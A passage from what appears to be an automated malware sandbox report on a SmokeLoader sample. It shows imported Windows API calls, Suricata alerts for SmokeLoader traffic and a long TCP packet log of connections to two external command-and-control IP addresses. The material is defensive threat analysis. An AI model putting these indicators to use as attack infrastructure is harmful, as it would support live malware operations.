                                                                                                                                                              ADVAPI32.dllRegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
                                                                                                                                                              COMCTL32.dllImageList_AddMasked, ImageList_Destroy, ImageList_Create
                                                                                                                                                              ole32.dllCoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
                                                                                                                                                              VERSION.dllGetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

                                                                                                                                                              Possible Origin

                                                                                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                                                                                              EnglishUnited States

                                                                                                                                                              Network Behavior

                                                                                                                                                              Suricata IDS Alerts

                                                                                                                                                              TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                              2024-11-20T11:21:08.814571+01002039103ET MALWARE Suspected Smokeloader Activity (POST)1192.168.2.84971285.192.60.19080TCP
                                                                                                                                                              2024-11-20T11:21:12.079442+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.84971385.192.60.190443TCP
                                                                                                                                                              2024-11-20T11:21:17.156382+01002039103ET MALWARE Suspected Smokeloader Activity (POST)1192.168.2.849718150.241.91.21880TCP
                                                                                                                                                              2024-11-20T11:21:17.356859+01002829848ETPRO MALWARE SmokeLoader encrypted module (3)2150.241.91.21880192.168.2.849718TCP
                                                                                                                                                              2024-11-20T11:21:20.758779+01002039103ET MALWARE Suspected Smokeloader Activity (POST)1192.168.2.849719150.241.91.21880TCP
                                                                                                                                                              2024-11-20T11:21:44.962979+01002039103ET MALWARE Suspected Smokeloader Activity (POST)1192.168.2.849799150.241.91.21880TCP

                                                                                                                                                              Network Port Distribution

                                                                                                                                                              TCP Packets

                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                              Nov 20, 2024 11:21:07.984261036 CET4971280192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:07.989228964 CET804971285.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:07.989419937 CET4971280192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:07.989625931 CET4971280192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:07.989645004 CET4971280192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:07.996278048 CET804971285.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:07.996289968 CET804971285.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:08.772860050 CET804971285.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:08.793740988 CET49713443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:08.793793917 CET4434971385.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:08.793853045 CET49713443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:08.794192076 CET49713443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:08.794205904 CET4434971385.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:08.814570904 CET4971280192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:12.078510046 CET4434971385.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:12.079442024 CET49713443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:12.080729008 CET49713443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:12.080755949 CET4434971385.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:12.081067085 CET49715443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:12.081099033 CET4434971585.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:12.081209898 CET49715443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:12.081569910 CET49715443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:12.081585884 CET4434971585.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:15.376159906 CET4434971585.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:15.376221895 CET49715443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:15.376267910 CET49715443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:15.376283884 CET4434971585.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:15.376848936 CET49717443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:15.376890898 CET4434971785.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:15.376981020 CET49717443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:15.378668070 CET49717443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:15.378695965 CET4434971785.192.60.190192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:15.378829956 CET49717443192.168.2.885.192.60.190
                                                                                                                                                              Nov 20, 2024 11:21:16.431746960 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:16.453964949 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:16.454197884 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:16.454394102 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:16.454427004 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:16.474751949 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:16.474865913 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156251907 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156270981 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156282902 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156382084 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156382084 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.156394958 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156408072 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156414986 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156420946 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.156461954 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.156476021 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.186922073 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.186939955 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.186954021 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.187146902 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.252712011 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.252727985 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.252805948 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.253233910 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.253246069 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.253257990 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.253330946 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.253416061 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.253428936 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.253439903 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.253457069 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.253473997 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.259948015 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.259958982 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.260056019 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.260428905 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.266921997 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.266935110 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.267018080 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.267386913 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.267432928 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.273668051 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.273683071 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.273696899 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.273741007 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.280076981 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.280092001 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.280105114 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.280132055 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.280174017 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.286647081 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.286700964 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.286710978 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.286763906 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.293569088 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.293581009 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.293591976 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.293652058 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.293697119 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.300127983 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.300143003 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.300154924 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.300215960 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.340750933 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.340856075 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.340873957 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.340886116 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.340935946 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.347990990 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.348166943 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.348179102 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.348218918 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.351807117 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.351819992 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.351831913 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.351875067 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.351927042 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.356858969 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.356894970 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.356904030 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.356944084 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.362596989 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.362607956 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.362675905 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.364914894 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.364990950 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.372533083 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.372848988 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.372868061 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.372924089 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.385000944 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.385018110 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.385030985 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.385107994 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.385163069 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.393774986 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.393788099 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.393800020 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.393908024 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.393944979 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.394005060 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.394154072 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.395360947 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.395405054 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.395490885 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.395502090 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.395538092 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.401258945 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.401272058 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.401356936 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.401375055 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.405513048 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.405541897 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.405630112 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.405667067 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.405713081 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.410528898 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.410835981 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.410845041 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.410883904 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.413611889 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.413682938 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.413789988 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.413803101 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.413846016 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.417567015 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.417579889 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.417599916 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.417646885 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.421864986 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.421884060 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.421897888 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.421951056 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.421972036 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.429238081 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.429251909 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.429269075 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.429301023 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.430377007 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.430419922 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.430483103 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.430495024 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.430538893 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.434382915 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.434658051 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.434669971 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.434699059 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.438328981 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.438342094 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.438354969 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.438393116 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.438494921 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.442647934 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.442662001 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.442675114 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.442702055 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.446667910 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.446679115 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.446737051 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.446857929 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.446907043 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.450078011 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.450103998 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.450114965 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.450145960 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.453634977 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.453649044 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.453663111 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.453697920 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.453728914 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.456496000 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.456506968 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.456577063 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.456841946 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.459748030 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.459760904 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.459773064 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.459791899 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.459817886 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.463367939 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.463382006 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.463393927 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.463423014 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.466088057 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.466114044 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.466123104 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.466140032 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.466156006 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.469274044 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.469288111 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.469299078 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.469330072 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.472363949 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.472377062 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.472390890 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.472462893 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.472462893 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.475528955 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.475720882 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.475737095 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.475788116 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.479031086 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.479099989 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.479135990 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.479150057 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.479202032 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.482645035 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.482656956 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.482669115 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.482698917 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.487387896 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.487399101 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.487411976 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.487467051 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.487509012 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.488954067 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.489000082 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.489008904 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.489037037 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.492002964 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.492014885 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.492027044 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.492057085 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.492083073 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.495444059 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.495456934 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.495467901 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.495518923 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.498878956 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.499017954 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.499028921 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.499032974 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.499073029 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.501687050 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.501701117 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.501712084 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.501753092 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.505012989 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.505026102 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.505038023 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.505059004 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.505079031 CET4971880192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:17.507749081 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.507838011 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.507848024 CET8049718150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:17.507875919 CET4971880192.168.2.8150.241.91.218
